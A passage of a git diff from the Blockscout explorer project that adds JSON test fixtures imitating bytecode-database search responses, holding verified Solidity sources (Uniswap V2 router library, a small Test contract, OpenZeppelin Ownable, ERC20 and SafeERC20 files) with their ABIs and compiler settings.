reserveIn.mul(1000).add(amountInWithFee);\n amountOut = numerator / denominator;\n }\n\n // given an output amount of an asset and pair reserves, returns a required input amount of the other asset\n function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {\n require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');\n require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');\n uint numerator = reserveIn.mul(amountOut).mul(1000);\n uint denominator = reserveOut.sub(amountOut).mul(997);\n amountIn = (numerator / denominator).add(1);\n }\n\n // performs chained getAmountOut calculations on any number of pairs\n function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {\n require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');\n amounts = new uint[](path.length);\n amounts[0] = amountIn;\n for (uint i; i < path.length - 1; i++) {\n (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);\n amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);\n }\n }\n\n // performs chained getAmountIn calculations on any number of pairs\n function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {\n require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');\n amounts = new uint[](path.length);\n amounts[amounts.length - 1] = amountOut;\n for (uint i = path.length - 1; i > 0; i--) {\n (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);\n amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);\n }\n }\n}\n" + }, + "abi": "[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_factory\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_WETH\",\"type\":\"address\"}],\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"WETH\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"tokenA\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"tokenB\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amountADesired\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountBDesired\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountAMin\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountBMin\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"}],\"name\":\"addLiquidity\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"amountA\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountB\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"liquidity\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"token\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amountTokenDesired\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountTokenMin\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountETHMin\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"}],\"name\":\"addLiquidityETH\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"amountToken\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountETH\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"liquidity\",\"type\":\"uint256\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"factory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amountOut\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"reserveIn\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"reserveOut\",\"type\":\"uint256\"}],\"name\":\"getAmountIn\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"amountIn\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amountIn\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"reserveIn\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"reserveOut\",\"type\":\"uint256\"}],\"name\":\"getAmountOut\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"amountOut\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amountOut\",\"type\":\"uint256\"},{\"internalType\":\"address[]\",\"name\":\"path\",\"type\":\"address[]\"}],\"name\":\"getAmountsIn\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"amounts\",\"type\":\"uint256[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amountIn\",\"type\":\"uint256\"},{\"internalType\":\"address[]\",\"name\":\"path\",\"type\":\"address[]\"}],\"name\":\"getAmountsOut\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"amounts\",\"type\":\"uint256[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amountA\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"reserveA\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"reserveB\",\"type\":\"uint256\"}],\"name\":\"quote\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"amountB\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"tokenA\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"tokenB\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"liquidity\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountAMin\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountBMin\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"}],\"name\":\"removeLiquidity\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"amountA\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountB\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"token\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"liquidity\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountTokenMin\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountETHMin\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"}],\"name\":\"removeLiquidityETH\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"amountToken\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountETH\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"token\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"liquidity\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountTokenMin\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountETHMin\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"}],\"name\":\"removeLiquidityETHSupportingFeeOnTransferTokens\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"amountETH\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"token\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"liquidity\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountTokenMin\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountETHMin\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"},{\"internalType\":\"bool\",\"name\":\"approveMax\",\"type\":\"bool\"},{\"internalType\":\"uint8\",\"name\":\"v\",\"type\":\"uint8\"},{\"internalType\":\"bytes32\",\"name\":\"r\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"s\",\"type\":\"bytes32\"}],\"name\":\"removeLiquidityETHWithPermit\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"amountToken\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountETH\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"token\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"liquidity\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountTokenMin\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountETHMin\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"},{\"internalType\":\"bool\",\"name\":\"approveMax\",\"type\":\"bool\"},{\"internalType\":\"uint8\",\"name\":\"v\",\"type\":\"uint8\"},{\"internalType\":\"bytes32\",\"name\":\"r\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"s\",\"type\":\"bytes32\"}],\"name\":\"removeLiquidityETHWithPermitSupportingFeeOnTransferTokens\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"amountETH\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"tokenA\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"tokenB\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"liquidity\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountAMin\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountBMin\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"},{\"internalType\":\"bool\",\"name\":\"approveMax\",\"type\":\"bool\"},{\"internalType\":\"uint8\",\"name\":\"v\",\"type\":\"uint8\"},{\"internalType\":\"bytes32\",\"name\":\"r\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"s\",\"type\":\"bytes32\"}],\"name\":\"removeLiquidityWithPermit\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"amountA\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountB\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amountOut\",\"type\":\"uint256\"},{\"internalType\":\"address[]\",\"name\":\"path\",\"type\":\"address[]\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"}],\"name\":\"swapETHForExactTokens\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"amounts\",\"type\":\"uint256[]\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amountOutMin\",\"type\":\"uint256\"},{\"internalType\":\"address[]\",\"name\":\"path\",\"type\":\"address[]\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"}],\"name\":\"swapExactETHForTokens\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"amounts\",\"type\":\"uint256[]\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amountOutMin\",\"type\":\"uint256\"},{\"internalType\":\"address[]\",\"name\":\"path\",\"type\":\"address[]\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"}],\"name\":\"swapExactETHForTokensSupportingFeeOnTransferTokens\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amountIn\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountOutMin\",\"type\":\"uint256\"},{\"internalType\":\"address[]\",\"name\":\"path\",\"type\":\"address[]\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"}],\"name\":\"swapExactTokensForETH\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"amounts\",\"type\":\"uint256[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amountIn\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountOutMin\",\"type\":\"uint256\"},{\"internalType\":\"address[]\",\"name\":\"path\",\"type\":\"address[]\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"}],\"name\":\"swapExactTokensForETHSupportingFeeOnTransferTokens\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amountIn\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountOutMin\",\"type\":\"uint256\"},{\"internalType\":\"address[]\",\"name\":\"path\",\"type\":\"address[]\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"}],\"name\":\"swapExactTokensForTokens\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"amounts\",\"type\":\"uint256[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amountIn\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountOutMin\",\"type\":\"uint256\"},{\"internalType\":\"address[]\",\"name\":\"path\",\"type\":\"address[]\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"}],\"name\":\"swapExactTokensForTokensSupportingFeeOnTransferTokens\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amountOut\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountInMax\",\"type\":\"uint256\"},{\"internalType\":\"address[]\",\"name\":\"path\",\"type\":\"address[]\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"}],\"name\":\"swapTokensForExactETH\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"amounts\",\"type\":\"uint256[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amountOut\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amountInMax\",\"type\":\"uint256\"},{\"internalType\":\"address[]\",\"name\":\"path\",\"type\":\"address[]\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"}],\"name\":\"swapTokensForExactTokens\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"amounts\",\"type\":\"uint256[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"type\":\"receive\"}]", + "constructorArguments": "000000000000000000000000c35dadb65012ec5796536bd9864ed8773abc74c4000000000000000000000000b4fbf271143f4fbf7b91a5ded31805e42b2208d6", + "matchType": "PARTIAL" + } + ], + "sourcifySources": [] +} \ No newline at end of file diff --git a/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_all_sourcify_sources_response.json b/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_all_sourcify_sources_response.json new file mode 100644 index 000000000000..17357bd7b896 --- /dev/null +++ b/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_all_sourcify_sources_response.json @@ -0,0 +1,30 @@ +{ + "ethBytecodeDbSources": [ + { + "fileName": "Test_eth.sol", + "contractName": "Test", + "compilerVersion": "v0.8.17+commit.8df45f5f", + "compilerSettings": "{\"libraries\":{\"Test.sol\":{}},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":199},\"outputSelection\":{\"*\":{\"\":[\"ast\"],\"*\":[\"abi\",\"evm.bytecode\",\"evm.deployedBytecode\",\"evm.methodIdentifiers\"]}}}", + "sourceType": "SOLIDITY", + "sourceFiles": { + "Test_eth.sol": "// SPDX-License-Identifier: MIT\r\n\r\npragma solidity 0.8.17;\r\n\r\ncontract Test {\r\n enum E {\r\n V1, V2, V3, V4\r\n }\r\n struct A {\r\n E a;\r\n uint256[] b;\r\n B[] c;\r\n }\r\n\r\n struct B {\r\n uint256 d;\r\n uint256 e;\r\n }\r\n\r\n function get(uint256 x) external pure returns (A memory) {\r\n uint256[] memory b = new uint256[](3);\r\n b[0] = 1;\r\n b[1] = 2;\r\n b[2] = 3;\r\n B[] memory c = new B[](3);\r\n c[0] = B(1, 2);\r\n c[1] = B(3, 4);\r\n c[2] = B(5, 6);\r\n return A(E.V3, b, c);\r\n }\r\n}" + }, + "abi": "[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"x\",\"type\":\"uint256\"}],\"name\":\"get\",\"outputs\":[{\"components\":[{\"type\":\"uint8\"},{\"type\":\"uint256[]\"},{\"components\":[{\"type\":\"uint256\"},{\"type\":\"uint256\"}],\"type\":\"tuple[]\"}],\"internalType\":\"struct Test.A\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"pure\",\"type\":\"function\"}]", + "constructorArguments": "0x0000000000000000000000003e5c63644e683549055b9be8653de26e0b4cd36e", + "matchType": "PARTIAL" + } + ], + "sourcifySources": [{ + "fileName": "Test.sol", + "contractName": "Test", + "compilerVersion": "v0.8.17+commit.8df45f5f", + "compilerSettings": "{\"libraries\":{\"Test.sol\":{}},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":199},\"outputSelection\":{\"*\":{\"\":[\"ast\"],\"*\":[\"abi\",\"evm.bytecode\",\"evm.deployedBytecode\",\"evm.methodIdentifiers\"]}}}", + "sourceType": "SOLIDITY", + "sourceFiles": { + "Test.sol": "// SPDX-License-Identifier: MIT\r\n\r\npragma solidity 0.8.17;\r\n\r\ncontract Test {\r\n enum E {\r\n V1, V2, V3, V4\r\n }\r\n struct A {\r\n E a;\r\n uint256[] b;\r\n B[] c;\r\n }\r\n\r\n struct B {\r\n uint256 d;\r\n uint256 e;\r\n }\r\n\r\n function get(uint256 x) external pure returns (A memory) {\r\n uint256[] memory b = new uint256[](3);\r\n b[0] = 1;\r\n b[1] = 2;\r\n b[2] = 3;\r\n B[] memory c = new B[](3);\r\n c[0] = B(1, 2);\r\n c[1] = B(3, 4);\r\n c[2] = B(5, 6);\r\n return A(E.V3, b, c);\r\n }\r\n}" + }, + "abi": "[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"x\",\"type\":\"uint256\"}],\"name\":\"get\",\"outputs\":[{\"components\":[{\"type\":\"uint8\"},{\"type\":\"uint256[]\"},{\"components\":[{\"type\":\"uint256\"},{\"type\":\"uint256\"}],\"type\":\"tuple[]\"}],\"internalType\":\"struct Test.A\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"pure\",\"type\":\"function\"}]", + "constructorArguments": "0x0000000000000000000000003e5c63644e683549055b9be8653de26e0b4cd36e", + "matchType": "PARTIAL" + }] + } \ No newline at end of file diff --git a/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_all_sourcify_sources_with_libs_response.json b/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_all_sourcify_sources_with_libs_response.json new file mode 100644 index 000000000000..494c7897b819 --- /dev/null +++ b/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_all_sourcify_sources_with_libs_response.json @@ -0,0 +1,47 @@ +{ + "ethBytecodeDbSources": [], + "sourcifySources": [ + { + "fileName": "src/zkbob/ZkBobPool.sol", + "contractName": "ZkBobPool", + "compilerVersion": "0.8.15+commit.e14f2714", + "compilerSettings": "{\"evmVersion\":\"london\",\"libraries\":{\"lib/base58-solidity/contracts/Base58.sol:Base58\":\"0x22de6b06544ee5cd907813a04bcded149a2f49d2\",\"src/libraries/ZkAddress.sol:ZkAddress\":\"0x019d3788f00a7087234f3844cb1cece1f9982b7a\"},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":200},\"remappings\":[\":@base58-solidity/=lib/base58-solidity/contracts/\",\":@gnosis/=lib/@gnosis/\",\":@gnosis/auction/=lib/@gnosis/auction/contracts/\",\":@openzeppelin/=lib/@openzeppelin/contracts/\",\":@openzeppelin/contracts/=lib/@openzeppelin/contracts/contracts/\",\":@uniswap/=lib/@uniswap/\",\":base58-solidity/=lib/base58-solidity/contracts/\",\":ds-test/=lib/forge-std/lib/ds-test/src/\",\":forge-std/=lib/forge-std/src/\"]}", + "sourceType": "SOLIDITY", + "sourceFiles": { + "lib/_openzeppelin/contracts/contracts/access/Ownable.sol": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n", + "lib/_openzeppelin/contracts/contracts/token/ERC20/IERC20.sol": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n", + "lib/_openzeppelin/contracts/contracts/token/ERC20/extensions/draft-IERC20Permit.sol": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n */\ninterface IERC20Permit {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n", + "lib/_openzeppelin/contracts/contracts/token/ERC20/utils/SafeERC20.sol": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../extensions/draft-IERC20Permit.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(\n IERC20 token,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} 